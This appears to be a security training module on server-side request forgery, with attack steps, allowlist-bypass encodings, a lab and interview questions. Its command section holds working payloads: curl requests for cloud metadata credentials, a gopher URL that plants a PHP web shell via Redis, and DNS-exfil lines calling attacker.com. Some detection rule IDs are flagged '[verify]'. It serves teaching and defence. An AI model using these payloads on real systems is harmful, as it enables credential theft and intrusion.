Server-Side Request Forgery (SSRF)
SSRF is the vulnerability where the server makes an HTTP request to a URL the attacker controls. The payload URL is the exploit. The Capital One 2019 breach — 100M SSNs, $190M settlement — was a single SSRF to the AWS EC2 metadata endpoint 169.254.169.254 that returned IAM role credentials, which were then used to read the S3 bucket. CVE-2021-26855 (Microsoft Exchange ProxyLogon) was an SSRF that pivoted to autodiscover and then to RCE. SSRF is the new RCE for cloud-native apps.
The Core Concept
Section titled “The Core Concept”The server has network privileges the client does not. When the server accepts a user-controlled URL and fetches it, the request uses the server’s credentials, the server’s network location (inside the VPC), and the server’s TLS context. The attacker uses the server as a confused deputy.
attacker (internet) │ │ POST /api/fetch │ {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-roles/"} ▼ web-server (inside VPC, IAM role attached) │ │ server-side fetch(url) │ request originates from server, hits link-local 169.254.169.254 ▼ AWS IMDS (169.254.169.254) │ │ responds with: │ {"AccessKeyId":"ASIAR...","SecretAccessKey":"...","Token":"..."} ▼ web-server returns the response body to attacker │ ▼ attacker now has IAM creds → uses them from their laptopIMDSv1 returns credentials on GET, no authentication. IMDSv2 requires a PUT-then-GET token sequence that an SSRF alone cannot replay — the SSRF must support a custom HTTP method, which most don’t. IMDSv2 alone is not a full defense; the SSRF just needs to call PUT /latest/api/token first.
How It Works
Section titled “How It Works”- Find a fetch sink — image proxy, PDF renderer, URL preview, webhook delivery, SSO callback, RSS importer. Anything that accepts a URL parameter and does
requests.get(url). - Identify allowed schemes — most parsers accept
http,https; some acceptfile://,gopher://,dict://,ftp://. Thefile://scheme is instant LFI.gopher://is a TCP oracle — you can construct arbitrary TCP packets, including Redis commands. - Bypass allowlists — if the server blocks
169.254.169.254:- DNS rebinding: domain that resolves to
127.0.0.1then to169.254.169.254 - IP encoding:
0x7f.0x0.0x0.0x1,2130706433decimal,017700000001octal - Enclosed alphanumerics:
①②⑨.④⑤④.①⑥⑨.②⑤④ - Redirect: server allows
evil.com, which 302-redirects to169.254.169.254 - DNS alt:
169.254.169.254.nip.ioresolves to169.254.169.254
- DNS rebinding: domain that resolves to
- Read the response — blind SSRF (you don’t see the body) requires an out-of-band channel: your callback domain receives a hit, or DNS exfil via
curl http://$(whoami).attacker.com. Full-read SSRF returns the body directly. - Pivot — once you have IAM creds (AWS) or Managed Identity (Azure
169.254.169.254/metadata/identity/...) or Metadata (GCPmetadata.google.internal), call the cloud API from your own machine.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Direct IMDSv1 SSRF | http://169.254.169.254/latest/meta-data/iam/security-credentials/role | Easy — IMDSv2 + egress block |
| DNS rebinding | Domain flips between public and link-local IP mid-request | Hard — --resolve-ip-once not always set |
| Gopher SSRF | gopher:// to send raw TCP — Redis, MySQL, SMTP pivots | Hard — gopher:// enabled in old libcurl |
| Blind SSRF + DNS exfil | http://$(secret).attacker.com — payload encoded in DNS query | Medium — DNS exfil pattern |
| Cloud metadata | AWS 169.254.169.254, Azure 169.254.169.254/metadata/identity/, GCP metadata.google.internal | Easy with egress filtering to link-local |
| Redirect bypass | Server allowlists evil.com; evil returns 302 → 169.254.169.254 | Medium — disable redirects in fetch |
file:// scheme | file:///etc/passwd — instant LFI | Easy — block file: scheme |
| Kubelet SSRF | https://node:10250/pods/ — read-only Kubelet API | Medium — node port exposed to in-cluster pods |
| AWS IMDSv2 token steal | Two-step: PUT token, then GET with header | Hard — IMDSv2 still allows this |
Hands-On Commands
Section titled “Hands-On Commands”# Direct IMDSv1 (deprecated but still seen on legacy instances)curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/" \ -H "X-aws-ec2-metadata-token: " # empty token forces v1 fallback# Returns IAM role name(s)
# IMDSv2 — required two-stepTOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"
# Azure Managed Identitycurl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP metadata — requires Metadata-Flavor headercurl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Gopher SSRF to Redis (flush + set rogue key)# Target: redis://169.254.169.254:6379# gopher URL: gopher://169.254.169.254:6379/_FLUSHALL%0d%0aCONFIG%20SET%20dir%20/var/www%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSET%20x%20%3C?php%20system($_GET[0])%3B?%3E%0d%0aSAVE%0d%0a
# SSRFmap (automated)python3 ssrfmap.py -u "http://target/fetch?url=PAYLOAD" -m redis,imds,readfiles -l payloads.txt
# Gopherus — generate gopher payloads for Redis/Mysql/FastCGIpython3 gopherus.py --exploit redis
# nuclei SSRF templatesnuclei -u http://target -t ~/nuclei-templates/http/dast/ -t ~/nuclei-templates/http/cves/ -tags ssrf
# Confirm with a callback — interactsh / oast.fun / burp collaboratorcurl "http://target/fetch?url=http://$(uuid).oast.fun/canary"# Check interactsh dashboard for the callback
# Find SSRF candidates in source — sink patternsgrep -rEnE '(?:requests\.get|urllib\.urlopen|http\.Get|fetch\().*\b(?:url|uri|host|callback)\b' src/Detection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — SSRF coverage is rule 934100 (Node.js Injection / SSRF) and 932100 family when gopher/dict schemes appear. Notable:
- 934100 — Node.js Injection
- 934101 — Server Side Request Forgery via URL Scheme
- 920230 — Multiple URL Encoding Detected (used by DNS rebinding bypasses)
Suricata SID 2221019 — Outbound HTTP request to link-local 169.254.169.254 [verify].
Sysmon Event ID 3 — NetworkConnect from w3wp.exe / nginx / php-fpm to 169.254.169.254 is a direct indicator.
Sysmon Event ID 22 — DNSEvent from web-server resolving *.nip.io, *.xip.io, *.sslip.io — common DNS-rebinding infrastructure.
MITRE ATT&CK T1190 — Exploit Public-Facing Application.
MITRE ATT&CK T1552.005 — Cloud Instance Metadata API (use of metadata service credentials).
MITRE ATT&CK T1580 — Cloud Infrastructure (discovery via metadata).
Wazuh rule 920/623 — Outbound 169.254.169.254 from web process [verify].
Wazuh rule 80792 — Cloud metadata request from non-cloud-init process [verify].
Evasion Techniques
Section titled “Evasion Techniques”DNS rebinding. The attacker controls a DNS server. The first A query returns the attacker’s IP (passes the allowlist check). The server caches the IP for 0 seconds. The HTTP request then re-resolves the domain — second A query returns 169.254.169.254. If the server does the allowlist check before the re-resolution, the bypass works. Defense: pin the IP after first resolution, OR run the allowlist check on the resolved IP, not the hostname.
Enclosed alphanumerics. ①②⑨.④⑤④.①⑥⑨.②⑤④ — these Unicode characters decode to 169.254.169.254 in some parsers. python3 -c "print(int('①②⑨'))" returns 169 in some locales. Apply t:urlDecodeUni then validate against link-local.
Trailing dot. evil.com. is a valid FQDN that some allowlists strip and others don’t, causing an inconsistency between the WAF and the server. If WAF blocks evil.com but the server treats evil.com. as different, the bypass is silent.
URL parser differential. http://attacker.com#@169.254.169.254 — the fragment is part of the URL. Some parsers (libcurl, Java’s URL class, Go’s net/http) disagree on whether the fragment is a fragment or part of the host. CVE-2022-0738 (JumpCloud) was a parser differential.
IPv4-in-IPv6. http://[::ffff:169.254.169.254]/ — the IPv6-mapped IPv4 representation. Some allowlists check for IPv4 strings, miss the IPv6-mapped form.
| Evasion | What it defeats | Defense |
|---|---|---|
| DNS rebinding | Hostname allowlists | Re-check IP after resolution, pin IP for the request lifetime |
0x7f000001 / 2130706433 | Decimal/hex string matchers | Normalize IP via inet_pton and compare bytes |
| Enclosed alphanumerics | ASCII-only IP matchers | Strip Unicode width variants before parsing |
| Trailing dot | Suffix allowlists | Strip trailing dots from FQDN before match |
::ffff: IPv6-mapped | IPv4-only checks | Parse as IPv6 and check mapped v4 range too |
| 302 redirect | URL host check at request time | Disable redirects server-side; check final URL after redirect manually |
⚠️ What caught me: A client had a strict SSRF defense — they validated the hostname against an allowlist, then validated the resolved IP against RFC 1918 + link-local. I thought it was solid. The bypass was: their proxy reused TCP connections (HTTP keep-alive). The first request went to my evil domain (allowed), got HTTP/1.1 200 with
Connection: keep-alive. The second request reused the connection to the same server, but my server 302-redirected to169.254.169.254— the client followed the redirect on the same keep-alive socket, bypassing the allowlist because the hostname check only ran on the initial URL. Lesson: HTTP request lifecycle and HTTP allowlist checks are two different layers. Defense: either disable keep-alive on outgoing fetches or re-run the allowlist check on every redirect.
Lab Practice
Section titled “Lab Practice”Container: SSRFmap’s bundled test app, or the sudoGD/ssrf-lab Docker setup.
docker run --rm -p 8080:80 --privileged sudoGD/ssrf-lab# Several vulnerable endpoints at /vulnerable.php?type=url&url=PAYLOADObjective: chain a blind SSRF + DNS exfil to read /etc/passwd, then pivot to a GCP metadata instance and obtain a service-account token.
Expected flag format: flag{ssrf_gcp_metadata_token_obtained}.
Detection that should fire: outbound 169.254.169.254 from the PHP-FPM process (auditd exec + Sysmon network if on Windows host). ModSecurity should fire on the url=file:// payload (rule 932100 family).
Interview Questions
Section titled “Interview Questions”Conceptual: why is SSRF considered “the new RCE” in cloud-native environments, and what specific cloud primitive makes it equivalent to RCE in severity?
Technical: walk through the exact sequence of HTTP requests required to extract IAM credentials from IMDSv2 (not IMDSv1). What two properties must the SSRF sink have to make this work?
Scenario: a target has a hostname allowlist and a post-resolution IP check against RFC 1918 + 169.254/16. How would you bypass this with DNS rebinding, and what is the timing of the two DNS queries that makes the bypass work?
Compare gopher:// and file:// SSRF in terms of post-exploitation capabilities. Why is gopher:// strictly more dangerous than file://?
What is the difference between AWS IMDSv1 and IMDSv2 from an SSRF attacker’s perspective? Why does IMDSv2 not fully prevent credential theft, and what additional control does prevent it?
Related Modules
Section titled “Related Modules”→ W1 (OWASP Top 10 Overview) · W6 (XML External Entity) · S12 (Cloud Post-Exploitation)